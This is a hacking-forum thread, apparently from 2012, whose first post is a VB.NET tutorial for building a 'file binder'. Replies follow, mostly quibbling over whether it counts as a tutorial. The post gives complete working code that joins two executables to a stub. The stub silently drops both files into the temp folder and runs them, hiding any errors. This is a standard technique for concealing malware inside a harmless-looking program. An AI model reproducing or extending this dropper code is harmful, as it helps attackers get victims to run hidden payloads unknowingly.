Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB.NET] Simple file binder tutorial [EASY]

Create a new project

add:
2 buttons
2 text boxes

Button1 is to get the files you want to bind to rename that to what you like. Then add this code to it:
Quote:Dim ofd As New OpenFileDialog
ofd.Title = ""
ofd.Filter = "*.exe | *.exe"
ofd.Title = "File 1"
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
ofd.Title = "File 2"
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName


Now you are going to want to rename button2 to what you want this is the button that binds the files together. Then add this code :

Quote:Dim stub, File_One, File_Two, Filename1, filename2 As String
Const FileSplit = "47150"
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
File_One = Space(LOF(1))
FileGet(1, File_One)
FileClose(1)

FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
File_Two = Space(LOF(2))
FileGet(2, File_Two)
FileClose(2)

FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(3))
FileGet(3, stub)
FileClose(3)
Dim OutputFile As String
Dim sfd As New SaveFileDialog
sfd.Filter = "*.exe | *.exe"
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
OutputFile = sfd.FileName
Else : Exit Sub
End If
Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
FileClose(3)
MsgBox("Binded")


Done! now its time to create the stub, create a new form name it stub. You wont need to add anything to it just this code:

Quote: On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Const FileSplit = "47150"
Dim file1, joesdaddy, filez() As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filez = Split(file1, FileSplit)
FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(3, filez(1))
FileClose(3)
FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filez(2))
FileClose(5)
System.Diagnostics.Process.Start(TPath & filez(3))
System.Diagnostics.Process.Start(TPath & filez(4))
Me.Close()
End


And your done enjoy guys, tell me what you think

p.s the stub and the binder have to be in the same location or it wont work

[IMG]http://i1140.photobucket.com/albums/n568/IiMagezz/Untitled-3.png[/IMG]

Wow this is an awesome tutorial, you explain everything so well!
/sarcasm
(Feb 5, 2012 06:44 AM)Ethernal Five Wrote:  Wow this is an awesome tutorial, you explain everything so well!
/sarcasm

Quote:
A period of instruction given by a university or college tutor to an individual or very small group.


By definition, he doesn't need to explain it.
(Feb 5, 2012 06:46 AM)+Bourbon Wrote:  By definition, he doesn't need to explain it.

This isnt a tutorial if he doesnt explain it, its just a snippet
A tutorial is were he explains every line so i know what i'm doing.
wow Awesome Tutorial Mate
and its with a great GUI
Thanks for this....
(Feb 5, 2012 06:47 AM)Ethernal Five Wrote:  This isnt a tutorial if he doesnt explain it, its just a snippet
A tutorial is were he explains every line so i know what i'm doing.
it is still a tutorial.... lol? + it doesn't need to be written perfectly its so simple...

Sure, it's useful if you just need to create one simple binder in VB. But for those (i guess all on HF) who wants to actually learn what you do, this is useless.

However, some contribution is better than none, so thank you for sharing anyways :)
(Feb 5, 2012 06:59 AM)dix0nb Wrote:  Sure, it's useful if you just need to create one simple binder in VB. But for those (i guess all on HF) who wants to actually learn what you do, this is useless.

However, some contribution is better than none, so thank you for sharing anyways :)
its not useless to everyone. to short.



Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by ClusterzIncSep 11, 2018 11:30 AM 1 426 Sep 11, 2018 11:30 AM
Last Post: PolarisGang
[.NET] by PhantomCod3RMay 5, 2017 04:51 PM 3 323 May 5, 2017 04:51 PM
Last Post: NyQuil
[.NET] by umami smokes shishaJan 16, 2017 08:40 AM 176 4,693 Jan 16, 2017 08:40 AM
Last Post: Xogg